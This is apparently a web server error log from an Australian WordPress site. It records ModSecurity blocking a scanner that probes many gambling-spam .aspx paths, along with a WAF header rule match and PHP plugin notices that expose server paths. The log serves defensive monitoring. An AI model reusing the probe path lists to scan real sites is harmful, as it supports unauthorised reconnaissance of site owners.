[Mon Apr 06 08:04:57.683491 2026] [:error] [pid 9442:tid 9456] [client 135.181.180.59:14698] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adL4qUPsNnAJTnmz6sYsSwAAAQw"]
[Mon Apr 06 08:05:00.288998 2026] [:error] [pid 9442:tid 9456] [client 135.181.180.59:14704] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adL4rEPsNnAJTnmz6sYsYwAAAQw"]
[Mon Apr 06 08:05:02.752137 2026] [:error] [pid 9442:tid 9461] [client 135.181.180.59:14718] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adL4rkPsNnAJTnmz6sYsaQAAARE"]
[Mon Apr 06 08:05:05.157053 2026] [:error] [pid 35786:tid 35811] [client 135.181.180.59:41396] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adL4sWgkfCKTaLhwaKRo1AAAANI"]
[Mon Apr 06 08:05:07.669030 2026] [:error] [pid 9442:tid 9452] [client 135.181.180.59:41402] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "adL4s0PsNnAJTnmz6sYsiQAAAQg"]
[Mon Apr 06 08:06:06.000034 2026] [:error] [pid 35688:tid 35761] [client 135.181.180.59:1632] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adL47eZ85qg4jLsRpQzWCgAAAIs"]
[Mon Apr 06 08:06:08.501000 2026] [:error] [pid 9442:tid 9452] [client 135.181.180.59:1644] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "adL48EPsNnAJTnmz6sYtpQAAAQg"]
[Mon Apr 06 08:06:10.986393 2026] [:error] [pid 9442:tid 9462] [client 135.181.180.59:1652] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "adL48kPsNnAJTnmz6sYtsAAAARI"]
[Mon Apr 06 08:06:13.503927 2026] [:error] [pid 35687:tid 35739] [client 135.181.180.59:1668] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adL49Z3LtDozV0i8BivAhQAAAFA"]
[Mon Apr 06 08:06:16.056778 2026] [:error] [pid 35686:tid 35714] [client 135.181.180.59:63318] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adL4-MMKdea6oORd2fyGnwAAABI"]
[Mon Apr 06 08:06:18.494201 2026] [:error] [pid 35687:tid 35738] [client 135.181.180.59:63332] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "adL4-p3LtDozV0i8BivAjQAAAE8"]
[Mon Apr 06 08:06:21.071532 2026] [:error] [pid 9442:tid 9447] [client 135.181.180.59:63340] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adL4_UPsNnAJTnmz6sYt1gAAAQM"]
[Mon Apr 06 08:06:23.635143 2026] [:error] [pid 9442:tid 9463] [client 135.181.180.59:63346] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adL4_0PsNnAJTnmz6sYt3wAAARM"]
[Mon Apr 06 08:06:26.321658 2026] [:error] [pid 35786:tid 35811] [client 135.181.180.59:5898] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adL5AmgkfCKTaLhwaKRpmwAAANI"]
[Mon Apr 06 08:06:28.953486 2026] [:error] [pid 35786:tid 35806] [client 135.181.180.59:5906] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adL5BGgkfCKTaLhwaKRpowAAAM0"]
[Mon Apr 06 08:06:31.573071 2026] [:error] [pid 35786:tid 35802] [client 135.181.180.59:5916] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adL5B2gkfCKTaLhwaKRppgAAAMk"]
[Mon Apr 06 08:06:34.159528 2026] [:error] [pid 35686:tid 35705] [client 135.181.180.59:5918] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adL5CsMKdea6oORd2fyG1AAAAAk"]
[Mon Apr 06 08:06:36.751983 2026] [:error] [pid 9442:tid 9455] [client 135.181.180.59:48708] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adL5DEPsNnAJTnmz6sYuGwAAAQs"]
[Mon Apr 06 08:06:39.200337 2026] [:error] [pid 35786:tid 35806] [client 135.181.180.59:48710] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adL5D2gkfCKTaLhwaKRprwAAAM0"]
[Mon Apr 06 08:06:41.791496 2026] [:error] [pid 9442:tid 9452] [client 135.181.180.59:48714] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adL5EUPsNnAJTnmz6sYuNQAAAQg"]
[Mon Apr 06 08:06:44.353668 2026] [:error] [pid 35688:tid 35772] [client 135.181.180.59:48722] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adL5FOZ85qg4jLsRpQzWPwAAAJY"]
[Mon Apr 06 08:06:46.883139 2026] [:error] [pid 35786:tid 35797] [client 135.181.180.59:61154] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adL5FmgkfCKTaLhwaKRpxQAAAMQ"]
[Mon Apr 06 08:06:49.619264 2026] [:error] [pid 9442:tid 9464] [client 135.181.180.59:61162] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adL5GUPsNnAJTnmz6sYuXgAAARQ"]
[Mon Apr 06 08:06:52.270479 2026] [:error] [pid 35688:tid 35768] [client 135.181.180.59:61172] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adL5HOZ85qg4jLsRpQzWSQAAAJI"]
[Mon Apr 06 08:06:54.720209 2026] [:error] [pid 35688:tid 35757] [client 135.181.180.59:61184] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adL5HuZ85qg4jLsRpQzWTwAAAIc"]
[Mon Apr 06 08:06:57.195731 2026] [:error] [pid 9442:tid 9449] [client 135.181.180.59:6130] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adL5IUPsNnAJTnmz6sYuaQAAAQU"]
[Mon Apr 06 08:06:59.611921 2026] [:error] [pid 9442:tid 9468] [client 135.181.180.59:6136] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adL5I0PsNnAJTnmz6sYuewAAARg"]
[Mon Apr 06 08:07:58.678363 2026] [:error] [pid 35786:tid 35810] [client 135.181.180.59:50316] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adL5XmgkfCKTaLhwaKRqkgAAANE"]
[Mon Apr 06 08:08:01.419571 2026] [:error] [pid 9442:tid 9463] [client 135.181.180.59:50330] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adL5YUPsNnAJTnmz6sYvVAAAARM"]
[Mon Apr 06 08:08:03.943629 2026] [:error] [pid 9442:tid 9454] [client 135.181.180.59:50338] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adL5Y0PsNnAJTnmz6sYvWwAAAQo"]
[Mon Apr 06 08:08:06.409350 2026] [:error] [pid 9442:tid 9460] [client 135.181.180.59:14940] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adL5ZkPsNnAJTnmz6sYvaQAAARA"]
[Mon Apr 06 08:08:08.950389 2026] [:error] [pid 9442:tid 9466] [client 135.181.180.59:14944] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adL5aEPsNnAJTnmz6sYvbgAAARY"]
[Mon Apr 06 08:08:11.470921 2026] [:error] [pid 9442:tid 9457] [client 135.181.180.59:14948] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adL5a0PsNnAJTnmz6sYvgQAAAQ0"]
[Mon Apr 06 08:08:14.170534 2026] [:error] [pid 35688:tid 35771] [client 135.181.180.59:14952] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adL5buZ85qg4jLsRpQzW9gAAAJU"]
[Mon Apr 06 08:08:16.615597 2026] [:error] [pid 35686:tid 35720] [client 135.181.180.59:12432] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adL5cMMKdea6oORd2fyHrwAAABg"]
[Mon Apr 06 08:08:19.061142 2026] [:error] [pid 35688:tid 35765] [client 135.181.180.59:12434] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adL5c-Z85qg4jLsRpQzXAQAAAI8"]
[Mon Apr 06 08:08:21.481055 2026] [:error] [pid 9442:tid 9455] [client 135.181.180.59:12438] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adL5dUPsNnAJTnmz6sYvqwAAAQs"]
[Mon Apr 06 08:08:24.118167 2026] [:error] [pid 35786:tid 35816] [client 135.181.180.59:12450] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adL5eGgkfCKTaLhwaKRqygAAANc"]
[Mon Apr 06 08:08:26.659001 2026] [:error] [pid 35786:tid 35813] [client 135.181.180.59:60074] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adL5emgkfCKTaLhwaKRq1AAAANQ"]
[Mon Apr 06 08:08:29.248065 2026] [:error] [pid 9442:tid 9465] [client 135.181.180.59:60082] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adL5fUPsNnAJTnmz6sYvvQAAARU"]
[Mon Apr 06 08:08:31.784467 2026] [:error] [pid 35688:tid 35761] [client 135.181.180.59:60086] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adL5f-Z85qg4jLsRpQzXFAAAAIs"]
[Mon Apr 06 08:08:34.284968 2026] [:error] [pid 35686:tid 35717] [client 135.181.180.59:60090] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adL5gsMKdea6oORd2fyHxQAAABU"]
[Mon Apr 06 08:08:36.808785 2026] [:error] [pid 9442:tid 9450] [client 135.181.180.59:20156] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adL5hEPsNnAJTnmz6sYvxwAAAQY"]
[Mon Apr 06 12:28:43.363867 2026] [:error] [pid 35786:tid 35803] [client 14.215.163.132:34377] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adM2e2gkfCKTaLhwaKS1WQAAAMo"]
[Mon Apr 06 12:34:16.170152 2026] [proxy_fcgi:error] [pid 35686:tid 35710] [client 103.4.122.14:56428] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Apr 06 12:34:32.575503 2026] [proxy_fcgi:error] [pid 35687:tid 35727] [client 103.4.122.14:56666] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Apr 06 15:15:52.373855 2026] [:error] [pid 9442:tid 9462] [client 43.157.158.178:38338] [client 43.157.158.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adNdqEPsNnAJTnmz6sZGJQAAARI"]
[Mon Apr 06 16:12:37.924231 2026] [:error] [pid 35686:tid 35696] [client 147.135.213.234:36652] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "adNq9cMKdea6oORd2fxSYAAAAAA"]
[Mon Apr 06 16:12:40.389290 2026] [:error] [pid 35686:tid 35703] [client 147.135.213.234:45360] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "adNq-MMKdea6oORd2fxSnAAAAAc"]
[Mon Apr 06 16:12:42.903723 2026] [:error] [pid 35686:tid 35703] [client 147.135.213.234:45370] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "adNq-sMKdea6oORd2fxSsQAAAAc"]
[Mon Apr 06 16:12:45.407401 2026] [:error] [pid 35686:tid 35705] [client 147.135.213.234:45372] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "adNq_cMKdea6oORd2fxSwgAAAAk"]
[Mon Apr 06 16:12:47.794836 2026] [:error] [pid 35786:tid 35817] [client 147.135.213.234:45236] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "adNq_2gkfCKTaLhwaKT4BQAAANg"]
